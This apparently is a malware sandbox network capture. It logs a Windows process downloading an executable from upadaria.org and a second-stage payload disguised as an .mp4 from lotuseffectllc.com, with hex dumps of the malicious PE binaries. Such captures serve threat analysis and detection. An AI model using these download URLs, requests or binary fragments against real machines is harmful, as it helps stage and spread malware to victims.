2024-12-30 18:45:11 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 e6 07 00 00 42 00 00 af 38 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOtB8
2024-12-30 18:45:11 UTC	16384	IN	Data Raw: 00 ff 75 f8 e8 bb f1 ff ff e9 7b 03 00 00 ff 75 fc e8 ae f1 ff ff 33 db 81 7d 0c 05 04 00 00 75 11 89 5d 10 c7 45 14 01 00 00 00 c7 45 0c 0f 04 00 00 83 7d 0c 4e b8 13 04 00 00 74 09 39 45 0c 0f 85 dc 00 00 00 8b 7d 14 39 45 0c 74 0d 81 7f 04 08 04 00 00 0f 85 c7 00 00 00 f7 05 08 eb 47 00 00 02 00 00 75 79 39 45 0c 74 09 8b 4d 14 83 79 08 fe 75 6b 33 c9 39 45 0c 0f 95 c1 51 ff 75 fc e8 f4 fb ff ff 3b c3 7c 56 8b 55 e8 8b c8 69 c9 20 40 00 00 8d 54 11 08 8b 0a f6 c1 10 75 40 f6 c1 40 74 14 81 f1 80 00 00 00 84 c9 79 05 83 c9 01 eb 08 83 e1 fe eb 03 83 f1 01 50 89 0a e8 c2 c4 ff ff a1 08 eb 47 00 33 c9 c1 e8 08 41 f7 d0 23 c1 89 4d 10 89 45 14 c7 45 0c 0f 04 00 00 3b fb 74 3e 81 7f 08 3d fe ff ff 75 0e ff 77 5c 53 68 19 04 00 00 ff 75 fc ff d6 81 7f 08 39 Data Ascii: u{u3}u]EE}Nt9E}9EtGuy9EtMyuk39EQu;\|VUi @Tu@@tyPG3A#MEE;t>=uw\Shu9
2024-12-30 18:45:11 UTC	16384	IN	Data Raw: 72 00 73 00 69 00 6f 00 6e 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 25 00 73 00 29 00 20 00 72 00 65 00 74 00 75 00 72 00 6e 00 65 00 64 00 20 00 25 00 73 00 00 00 5c 00 00 00 00 00 00 00 45 00 78 00 65 00 63 00 3a 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 28 00 22 00 25 00 73 00 22 00 29 00 00 00 45 00 78 00 65 00 63 00 3a 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 20 00 28 00 22 00 25 00 73 00 22 00 29 00 00 00 00 00 45 00 78 00 65 00 63 00 3a 00 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 3d 00 22 00 25 00 73 00 22 00 00 00 00 00 45 00 78 00 65 00 63 00 53 00 68 00 65 00 6c 00 6c 00 3a 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 20 00 28 Data Ascii: rsionString(%s) returned %s\Exec: failed createprocess ("%s")Exec: success ("%s")Exec: command="%s"ExecShell: success (
2024-12-30 18:45:11 UTC	16384	IN	Data Raw: 48 06 50 89 28 c7 4e 89 48 3d 62 e1 5d 48 b3 bc 1f ef 3e 83 c2 e0 55 60 bc 93 a4 66 f9 bb c6 09 93 bb c5 6a 89 09 a6 6b ce e5 af f2 78 a2 fb 2c 32 cc eb 28 f3 3b d9 5c ef f2 3d ce bc ef 77 06 e0 69 c1 95 ff 45 9d 2c 54 01 38 5d 39 b3 58 31 15 80 86 00 11 1e 48 43 f1 c0 bc 5e dd 35 a8 59 e3 1c 1e 3c c7 2c 25 e1 cf 5e 03 d0 36 5c d7 c7 5e 5f d3 e9 b6 06 c4 9a 77 a2 2b b0 0b d9 1b 87 51 c8 b6 71 d7 1d dc 7f 86 24 0e 13 53 ec eb 3d 0b c8 d1 68 63 a3 93 e8 1c bc 87 ce dc 30 7a 88 58 6e 04 09 83 61 89 11 27 ba b2 43 f8 86 39 d8 cd 7c 4c 8c 4d 62 80 f9 a9 3c 55 be 7a c2 bc 47 30 8f 99 cf 85 ec 45 e4 6e 1c 41 17 85 ab 7c 4f b5 d6 b3 ec 97 f8 25 70 ea 45 5a a0 3e e6 eb 45 63 7e 6a c5 e9 45 db de d7 99 74 b7 02 0c 60 fe 5d 80 3e c1 1d a0 37 ed 2e 6c d0 ad 54 de 78 Data Ascii: HP(NH=b]H>U`fjkx,2(;\=wiE,T8]9X1HC^5Y<,%^6\^_w+Qq$S=hc0zXna'C9\|LMb<UzG0EnA\|O%pEZ>Ec~jEt`]>7.lTx
2024-12-30 18:45:11 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 d6 d6 d7 ea ea ea eb e9 e9 e9 ea e9 e9 e9 ea e9 e9 e9 ea e9 e9 e9 ea e9 e9 e9 ea e9 e9 e9 ea e9 e9 e9 ea e9 e9 e9 ea e9 e9 e9 ea e9 e9 e9 ea e9 e9 e9 ea e9 e9 e9 Data Ascii: ( @
2024-12-30 18:45:11 UTC	16384	IN	Data Raw: 8a 22 5b af 48 27 54 5b 1f 2b 41 ab ee dd 1d b8 c5 38 d9 ed 91 4d db 45 f0 f5 e1 23 ae fb 6e d2 f2 93 bd 7d bc 7d d0 65 60 54 e6 72 ad 05 1c dd 64 f5 9d eb b5 25 51 08 83 08 08 08 07 5d 6a e3 10 c4 4f 7e 44 13 35 cf 31 71 23 bf c7 72 4f 67 1f 93 0b ff fd 5b 89 a3 66 fc 26 05 7b 76 5a 26 3f 92 71 12 21 c4 09 7c 36 34 b8 11 d0 2c a9 e0 21 8a 64 4f bc 4b 73 58 be 6e 93 df 16 45 f6 30 28 97 fd e5 a7 ad ea 11 30 f6 89 3d cc ed ea c0 5b 7c e6 df b8 cf c8 21 ae fa 6e 00 37 66 7a 44 17 5d 9d d1 56 1b 45 dc cb 8e 6d 1d e7 26 39 7a b0 99 1b 52 34 00 f9 22 e6 36 c7 e1 4c e2 98 ae 9a 16 cb a3 ad 6f 3b b7 43 ed e9 ce 5a 68 30 f4 08 ef 5b 84 8f 2d 9e ce 58 78 22 6d 9a f4 98 90 e1 e1 d3 3f 80 04 00 97 16 5c d4 da c9 15 6f 1c c2 c9 28 41 89 72 ac 80 bd af eb 18 2a 8d dd Data Ascii: "[H'T[+A8ME#n}}e`Trd%Q]jO~D51q#rOg[f&{vZ&?q!\|64,!dOKsXnE0(0=[\|!n7fzD]VEm&9zR4"6Lo;CZh0[-Xx"m?\o(Ar*
2024-12-30 18:45:11 UTC	16384	IN	Data Raw: 0b cb 84 c4 15 bf 9b 48 bf 9d 91 1b ac 5c 81 5f 68 28 b9 11 03 90 c5 f1 28 02 64 09 4d c7 06 da a2 0a 82 d3 af 7b a2 96 2f db 71 40 4a 50 d2 dc 01 72 44 c6 5d 6e f9 10 02 40 fa d4 76 84 d0 72 a7 38 7d 42 9d 72 cb 22 18 ac 90 50 43 e7 b1 56 16 aa b9 a8 83 35 77 aa 3a da 40 5a 3b 07 75 5e 22 0a 8c 28 c4 d3 df 80 f8 e4 b9 81 92 06 b8 f8 69 ab b7 df 83 2b 29 0e 1c f0 bb cd 62 59 01 81 5b 4b a4 dc bd cf 24 4c 17 89 ca 6d 7f e0 c4 18 38 4b cc 33 24 e3 b3 a9 8e 1e fb 37 e0 a0 26 bf 0b 6f a2 ff c0 9c 6a 54 08 3d 1b ac f4 c9 24 cc 7f cc 84 d9 73 92 ae 34 b8 5c 47 44 c2 2c 38 0e f9 a9 2f fe 59 67 0c 53 69 dc 1d 64 2a 11 1f 53 2e 3e 72 18 04 14 a7 57 95 bd c4 b5 4c 8d 0b fa 87 ef 01 04 9f 8b 19 ff c4 2c 6b 73 04 05 f4 f3 f4 2b 4c 5f 76 b8 e3 af 39 dd 97 07 d7 19 fe Data Ascii: H\_h((dM{/q@JPrD]n@vr8}Br"PCV5w:@Z;u^"(i+)bY[K$Lm8K3$7&ojT=$s4\GD,8/YgSid*S.>rWL,ks+L_v9
2024-12-30 18:45:11 UTC	16384	IN	Data Raw: e1 04 45 ec e7 b9 1e de d4 54 af 7a 53 37 be 13 93 84 45 35 ba f8 58 b1 f1 71 5b 33 17 33 e4 0b b6 31 b4 e2 a3 c2 1f d1 49 64 76 6d 61 b9 82 62 88 e0 eb 55 38 2f ca 70 05 98 30 c1 be 28 e6 61 57 51 36 55 08 d1 50 98 21 eb 6d d2 36 1a a8 3c db f9 c5 6a b1 2d 56 98 fc 33 30 ba 87 4d d7 02 89 4d d3 0d bf 58 6a d4 e5 be cc ef 5b a6 f5 73 11 94 db 54 df 83 8b 2a 2c f2 55 01 58 06 52 43 c8 7f bb 91 42 7e 0b 15 5e eb 5c 27 d5 21 51 97 8c 94 c3 4e 7b b1 62 09 64 05 51 a1 79 7d c0 6d 60 cd fe 62 81 5a b3 cb 3e 9b 34 7f 1d 25 d0 fc 99 36 3f 9b 66 db b9 0c 96 9a 35 35 fc 93 80 45 e3 15 00 1e 71 b9 a7 d2 9e bd da a6 62 6c d2 bd c1 ce 52 71 a0 93 d4 e0 56 b7 1d 72 11 77 a7 8f 5a 02 3d f5 a5 0c 1a 38 bf 3f a0 b0 a9 0a f7 b1 8b e4 ad b9 2d 92 70 4c a5 cc 75 c3 72 a3 19 Data Ascii: ETzS7E5Xq[331IdvmabU8/p0(aWQ6UP!m6<j-V30MMXj[sT*,UXRCB~^\'!QN{bdQy}m`bZ>4%6?f55EqblRqVrwZ=8?-pLur
2024-12-30 18:45:11 UTC	16384	IN	Data Raw: e4 74 5f 87 98 4d cb a0 66 92 6e d8 32 4e 37 e0 04 3f 27 bd 2f c2 80 ba d6 a1 a1 be 98 be 8a b3 db 0a 01 b6 4f 1f c7 e4 3e bf 3d 66 43 b9 9f 10 0e 50 4f 53 3f 7f 53 4e 59 b4 fb 4c 24 f4 d6 4b 66 49 c1 70 ce 00 5e 49 0e f6 7e a9 bf b0 d5 64 de 75 45 f4 a8 dc 77 f8 a5 68 f5 ae d7 74 9e 0a bd af 33 11 c6 0b a0 f0 50 61 a2 e9 37 c1 65 74 69 c0 b3 bd 9a a5 d0 34 76 51 92 eb 7d dd c0 84 90 4f 75 18 34 fe fa 20 4c ab bf 0f 45 c0 52 37 45 12 9a bd 83 7c a7 d0 65 e4 da a5 8b 6e 78 5e d1 c4 60 3d f8 8e 6f e9 9a 9e 74 c6 be af 60 2b c6 22 a1 1c 60 31 41 ce ed a8 2b db 1b 2b 95 4d 3d 1f 23 5c 5d df 2c da bb a3 bd e7 a6 58 d3 88 81 ae 39 30 84 a6 98 00 e8 ff 00 f3 29 6c 04 54 11 42 17 66 f8 01 46 e1 c9 fa d6 02 83 31 00 bc 6e 3f 78 6c e4 24 41 10 5e f0 38 a7 97 d7 25 Data Ascii: t_Mfn2N7?'/O>=fCPOS?SNYL$KfIp^I~duEwht3Pa7eti4vQ}Ou4 LER7E\|enx^`=ot`+"`1A++M=#\],X90)lTBfF1n?xl$A^8%
2024-12-30 18:45:11 UTC	16384	IN	Data Raw: 97 f7 5a a7 34 e6 dc dc 66 55 13 95 66 ba b3 33 16 c0 db b2 c3 37 b1 64 eb bc 09 63 ac 2d 86 12 de d1 64 02 23 5c 6a 46 9a 72 86 e1 24 07 81 16 a1 d0 ad b1 f8 7f 0c ee 14 9b 8b d7 13 a1 83 80 1e 07 78 62 aa 3b aa eb 7d 11 10 39 6d 57 bc e3 e8 5a d1 97 17 99 c4 25 f7 cb dc 93 1d e8 f1 50 78 07 82 6d da 0a fb 6a c2 21 e5 fe d4 8e bd 34 b1 ed 71 d4 2e 53 2f 43 70 29 d4 6c bd c2 63 46 f7 4b eb e7 13 f6 ad 90 f3 c6 78 98 40 24 49 d5 10 e4 d9 c7 e9 cc 4d 1b 52 26 db 7a 90 df bb 02 9c 03 70 59 7d 21 d1 9c 65 1f cf bb 94 ac f0 ad 92 2a f7 9e 6b ed cf 5c 32 76 8c e5 5d 1a 46 b2 8f ab 46 c7 b9 6b 1a 94 d7 c5 3d 9e af b5 13 9b a7 8e c6 37 52 ba 0d 40 35 64 16 a2 a9 19 7b f2 f8 db c1 44 17 4f f6 06 78 bd d3 63 e2 e4 37 39 b8 88 26 25 ac 4a 30 fd d6 ec 53 4b f0 52 89 Data Ascii: Z4fUf37dc-d#\jFr$xb;}9mWZ%Pxmj!4q.S/Cp)lcFKx@$IMR&zpY}!e*k\2v]FFk=7R@5d{DOxc79&%J0SKR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	50064	192.185.146.136	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:45:37 UTC	162	OUT	GET /Vmujqcxm.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: upadaria.org
2024-12-30 18:45:38 UTC	250	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:45:37 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 27 Dec 2024 16:58:31 GMT Accept-Ranges: bytes Content-Length: 1401856 Content-Type: application/x-msdownload
2024-12-30 18:45:38 UTC	7942	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 71 dc 6e 67 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 08 00 00 5a 15 00 00 08 00 00 00 00 00 00 de 79 15 00 00 20 00 00 00 80 15 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 15 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELqngZy @ `
2024-12-30 18:45:38 UTC	8000	IN	Data Raw: 03 00 50 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 30 00 00 00 05 00 00 00 38 2b 00 00 00 02 03 73 27 00 00 0a 7d 26 00 00 04 20 00 00 00 00 7e 26 09 00 04 7b 02 09 00 04 3a ce ff ff ff 26 20 00 00 00 00 38 c3 ff ff ff 2a 32 02 7c 27 00 00 04 28 26 00 00 0a 2a 00 00 00 13 30 03 00 50 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 30 00 00 00 05 00 00 00 38 2b 00 00 00 02 03 73 27 00 00 0a 7d 27 00 00 04 20 00 00 00 00 7e 26 09 00 04 7b 28 09 00 04 39 ce ff ff ff 26 20 00 00 00 00 38 c3 ff ff ff 2a 32 02 7c 28 00 00 04 28 28 00 00 0a 2a 00 00 00 13 30 03 00 50 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 05 00 00 00 06 00 Data Ascii: P 8E08+s'}& ~&{:& 82\|'(&0P 8E08+s'}' ~&{(9& 82\|(((0P 8E
2024-12-30 18:45:38 UTC	8000	IN	Data Raw: 04 2a 1e 02 7b 38 00 00 04 2a 13 30 03 00 9f 00 00 00 01 00 00 11 02 28 1d 00 00 0a 20 02 00 00 00 38 09 00 00 00 38 eb ff ff ff fe 0c 00 00 45 04 00 00 00 05 00 00 00 62 00 00 00 06 00 00 00 31 00 00 00 38 00 00 00 00 2a 03 14 28 09 00 00 0a 3a 1f 00 00 00 20 00 00 00 00 7e 26 09 00 04 7b 00 09 00 04 39 c5 ff ff ff 26 20 01 00 00 00 38 ba ff ff ff 72 97 04 00 70 73 24 00 00 0a 7a 02 03 7d 37 00 00 04 20 00 00 00 00 7e 26 09 00 04 7b d8 08 00 04 3a 94 ff ff ff 26 20 00 00 00 00 38 89 ff ff ff 38 d5 ff ff ff 20 03 00 00 00 38 7a ff ff ff 00 13 30 03 00 68 00 00 00 01 00 00 11 02 03 28 be 00 00 06 20 00 00 00 00 7e 26 09 00 04 7b 10 09 00 04 3a 14 00 00 00 26 20 00 00 00 00 38 09 00 00 00 38 d5 ff ff ff fe 0c 00 00 45 02 00 00 00 05 00 00 00 2b 00 00 00 38 Data Ascii: {80( 88Eb18*(: ~&{9& 8rps$z}7 ~&{:& 88 8z0h( ~&{:& 88E+8
2024-12-30 18:45:38 UTC	8000	IN	Data Raw: 58 2a 38 f3 ff ff ff 20 03 00 00 00 38 c7 ff ff ff 02 6f 32 01 00 06 28 c6 07 00 06 39 0a 00 00 00 20 02 00 00 00 38 ad ff ff ff 02 7c 64 00 00 04 7b 4a 00 00 04 3a c2 ff ff ff 20 01 00 00 00 7e 26 09 00 04 7b c5 08 00 04 39 89 ff ff ff 26 20 00 00 00 00 38 7e ff ff ff 02 7b 6c 00 00 04 25 39 05 00 00 00 38 26 00 00 00 26 20 04 00 00 00 7e 26 09 00 04 7b c6 08 00 04 3a 58 ff ff ff 26 20 00 00 00 00 38 4d ff ff ff 16 38 05 00 00 00 28 5e 00 00 0a 13 00 20 00 00 00 00 7e 26 09 00 04 7b f2 08 00 04 3a 2c ff ff ff 26 20 00 00 00 00 38 21 ff ff ff 00 00 00 13 30 03 00 6a 01 00 00 20 00 00 11 20 06 00 00 00 fe 0e 02 00 38 00 00 00 00 fe 0c 02 00 45 08 00 00 00 11 00 00 00 05 00 00 00 a8 00 00 00 b6 00 00 00 6e 00 00 00 38 00 00 00 54 00 00 00 84 00 00 00 38 0c Data Ascii: X*8 8o2(9 8\|d{J: ~&{9& 8~{l%98&& ~&{:X& 8M8(^ ~&{:,& 8!0j 8En8T8
2024-12-30 18:45:38 UTC	8000	IN	Data Raw: 06 20 0b 00 00 00 38 a5 ff ff ff 2a 2a 02 05 28 56 01 00 06 20 05 00 00 00 38 92 ff ff ff 2a 02 1b 7d 63 00 00 04 20 0d 00 00 00 38 80 ff ff ff 2a 02 1f 0f 28 58 01 00 06 20 06 00 00 00 7e 26 09 00 04 7b 00 09 00 04 3a 63 ff ff ff 26 20 03 00 00 00 38 58 ff ff ff 2a 02 19 7d 63 00 00 04 20 0e 00 00 00 7e 26 09 00 04 7b 21 09 00 04 39 3c ff ff ff 26 20 05 00 00 00 38 31 ff ff ff 02 19 28 3b 01 00 06 20 0c 00 00 00 38 20 ff ff ff 2a 02 1f 0e 28 58 01 00 06 20 0a 00 00 00 7e 26 09 00 04 7b f7 08 00 04 39 03 ff ff ff 26 20 02 00 00 00 38 f8 fe ff ff 02 03 7d 60 00 00 04 20 07 00 00 00 38 e7 fe ff ff 03 17 59 45 11 00 00 00 44 ff ff ff 0a ff ff ff 1d 00 00 00 0b 00 00 00 f6 fe ff ff f8 fe ff ff f8 fe ff ff f8 fe ff ff f8 fe ff ff f8 fe ff ff f8 fe ff ff f8 fe Data Ascii: 8*(V 8}c 8(X ~&{:c& 8X}c ~&{!9<& 81(; 8 *(X ~&{9& 8}` 8YED
2024-12-30 18:45:38 UTC	8000	IN	Data Raw: 20 01 00 00 00 38 97 ff ff ff 11 01 02 7b 94 00 00 04 6f 12 01 00 06 16 6f 9b 00 00 0a 13 02 20 08 00 00 00 38 78 ff ff ff 12 03 28 9c 00 00 0a 3a 0a 00 00 00 20 02 00 00 00 38 62 ff ff ff 12 03 28 9e 00 00 0a 39 dc 00 00 00 20 00 00 00 00 7e 26 09 00 04 7b 17 09 00 04 3a 42 ff ff ff 26 20 00 00 00 00 38 37 ff ff ff 12 02 28 9d 00 00 0a 13 03 20 0a 00 00 00 38 24 ff ff ff dd cf fe ff ff 20 0c 00 00 00 38 15 ff ff ff 38 9e 00 00 00 20 01 00 00 00 7e 26 09 00 04 7b e6 08 00 04 3a fc fe ff ff 26 20 05 00 00 00 38 f1 fe ff ff 02 15 25 13 00 7d 91 00 00 04 20 09 00 00 00 38 dd fe ff ff 38 1a ff ff ff 20 06 00 00 00 38 ce fe ff ff 02 7c 95 00 00 04 fe 15 18 00 00 1b 20 07 00 00 00 38 b8 fe ff ff 02 11 03 7d 95 00 00 04 20 03 00 00 00 38 a6 fe ff ff 02 16 25 13 Data Ascii: 8{oo 8x(: 8b(9 ~&{:B& 87( 8$ 88 ~&{:& 8%} 88 8\| 8} 8%
2024-12-30 18:45:38 UTC	8000	IN	Data Raw: 00 00 02 7b ba 00 00 04 13 00 20 00 00 00 00 7e 26 09 00 04 7b b9 08 00 04 39 ce ff ff ff 26 20 01 00 00 00 38 c3 ff ff ff 17 2a 12 00 28 28 00 00 0a 2a 12 00 28 b0 00 00 0a 3a ec ff ff ff 20 00 00 00 00 7e 26 09 00 04 7b bd 08 00 04 39 99 ff ff ff 26 20 00 00 00 00 38 8e ff ff ff 13 30 03 00 50 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 05 00 00 00 06 00 00 00 38 00 00 00 00 2a 02 03 73 29 00 00 0a 7d ba 00 00 04 20 00 00 00 00 7e 26 09 00 04 7b 29 09 00 04 3a cd ff ff ff 26 20 00 00 00 00 38 c2 ff ff ff 32 02 7c bc 00 00 04 28 28 00 00 0a 2a 00 00 00 13 30 03 00 50 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 05 00 00 00 06 00 00 00 38 00 00 00 00 2a 02 03 73 29 Data Ascii: { ~&{9& 8(((: ~&{9& 80P 8E8s)} ~&{):& 82\|((0P 8E8*s)
2024-12-30 18:45:38 UTC	8000	IN	Data Raw: 26 20 00 00 00 00 38 c1 ff ff ff 00 00 00 13 30 05 00 4d 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 2d 00 00 00 05 00 00 00 38 28 00 00 00 02 03 04 05 6f e9 01 00 06 20 00 00 00 00 7e 26 09 00 04 7b 2c 09 00 04 39 d1 ff ff ff 26 20 00 00 00 00 38 c6 ff ff ff 2a 00 00 00 13 30 05 00 52 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 32 00 00 00 05 00 00 00 38 2d 00 00 00 02 03 73 dc 03 00 06 04 05 28 e5 01 00 06 20 00 00 00 00 7e 26 09 00 04 7b ca 08 00 04 39 cc ff ff ff 26 20 00 00 00 00 38 c1 ff ff ff 2a 00 00 13 30 05 00 4d 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 2d 00 00 00 05 00 00 00 38 28 00 00 00 02 03 04 14 6f Data Ascii: & 80M 8E-8(o ~&{,9& 80R 8E28-s( ~&{9& 80M 8E-8(o
2024-12-30 18:45:38 UTC	8000	IN	Data Raw: 0c 00 00 45 20 00 00 00 55 03 00 00 a3 00 00 00 1b 00 00 00 51 01 00 00 3c 02 00 00 93 02 00 00 6c 01 00 00 35 00 00 00 3f 03 00 00 10 01 00 00 3b 01 00 00 82 01 00 00 80 03 00 00 b6 01 00 00 96 03 00 00 05 00 00 00 61 00 00 00 78 00 00 00 e9 02 00 00 7d 02 00 00 67 02 00 00 14 03 00 00 cf 00 00 00 fb 01 00 00 62 00 00 00 b9 00 00 00 4b 00 00 00 11 02 00 00 e1 01 00 00 9c 01 00 00 e5 00 00 00 be 02 00 00 38 50 03 00 00 02 03 7b cf 00 00 04 7d cf 00 00 04 20 0e 00 00 00 38 60 ff ff ff 02 03 7b d7 00 00 04 7d d7 00 00 04 20 03 00 00 00 fe 0e 00 00 38 42 ff ff ff 02 03 7b d8 00 00 04 7d d8 00 00 04 20 15 00 00 00 38 30 ff ff ff 02 03 7b cb 00 00 04 7d cb 00 00 04 20 0a 00 00 00 38 1a ff ff ff 2a 02 03 7b cc 00 00 04 7d cc 00 00 04 20 1a 00 00 00 38 03 ff ff Data Ascii: E UQ<l5?;ax}gbK8P{} 8`{} 8B{} 80{} 8*{} 8
2024-12-30 18:45:38 UTC	8000	IN	Data Raw: 00 05 00 00 00 38 53 00 00 00 02 02 7b ef 00 00 04 17 58 7d ef 00 00 04 20 01 00 00 00 7e 26 09 00 04 7b 0c 09 00 04 3a c8 ff ff ff 26 20 01 00 00 00 38 bd ff ff ff 02 03 7d ee 00 00 04 20 00 00 00 00 7e 26 09 00 04 7b e3 08 00 04 3a a2 ff ff ff 26 20 00 00 00 00 38 97 ff ff ff 2a 13 30 04 00 bf 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 05 00 00 00 5a 00 00 00 05 00 00 00 32 00 00 00 7f 00 00 00 33 00 00 00 38 55 00 00 00 02 02 7b ed 00 00 04 17 58 7d ed 00 00 04 20 00 00 00 00 7e 26 09 00 04 7b bd 08 00 04 39 c0 ff ff ff 26 20 00 00 00 00 38 b5 ff ff ff 2a 02 03 04 28 77 02 00 06 20 02 00 00 00 7e 26 09 00 04 7b e7 08 00 04 3a 98 ff ff ff 26 20 02 00 00 00 38 8d ff ff ff 02 28 79 02 00 06 20 00 00 00 00 7e 26 09 00 04 Data Ascii: 8S{X} ~&{:& 8} ~&{:& 80 8EZ238U{X} ~&{9& 8(w ~&{:& 8(y ~&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	50067	192.185.175.158	443	5796	C:\Users\user\AppData\Local\Temp\3E6C.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:45:41 UTC	103	OUT	GET /plugins/panel/uploads/Mwczjtflz.mp4 HTTP/1.1 Host: lotuseffectllc.com Connection: Keep-Alive
2024-12-30 18:45:41 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:45:41 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 27 Dec 2024 16:57:13 GMT Accept-Ranges: bytes Content-Length: 1229832 Content-Type: video/mp4
2024-12-30 18:45:41 UTC	7957	IN	Data Raw: 26 f5 50 a6 f1 5f 38 77 13 ec 6a 95 0b 10 d0 14 09 37 a8 1e 05 95 8e 97 24 66 a2 8d 1a 9e bb a9 fb 8e a5 e1 a7 c3 56 85 5e 70 5c 50 64 ef 83 6e 5a 2f 0b 9f a3 44 5c bc 01 a3 a9 49 40 1d c5 fe 39 86 39 bc 2a f3 24 86 c7 a2 f8 6e 39 56 01 c4 0e 8f 41 0b b7 44 b6 9b cb 4a c4 ea b3 99 97 93 4e 7d d5 cd ab 66 af 2f 66 3d 89 a1 a2 3d a7 08 68 da ff a2 49 37 33 8d d0 bb 13 2e 6e b5 88 19 7f 75 0d 02 80 c8 1b ad 1d a3 e8 17 37 f5 f4 0f c4 d8 28 60 28 a8 3a df 51 91 b1 78 2e 2d bf e4 a0 9a 33 b1 35 7e e3 79 89 77 ee 07 9b 5e 14 33 01 ef 39 1b 4a de 9c ed 85 1f 82 71 0f c2 82 ec 68 fb ac f6 1c 3f d3 6b 1b e4 a7 95 77 a7 36 4a 5d 41 82 09 66 58 e1 29 bd d7 2e 6e b6 a5 a9 ce 9a 49 4c 62 ff d1 ed 1c a4 5d e8 fd 18 cc b6 91 be 05 21 9e 92 85 6b ca 1a ec b1 04 ed e9 3c Data Ascii: &P_8wj7$fV^p\PdnZ/D\I@99*$n9VADJN}f/f==hI73.nu7(`(:Qx.-35~yw^39Jqh?kw6J]AfX).nILb]!k<
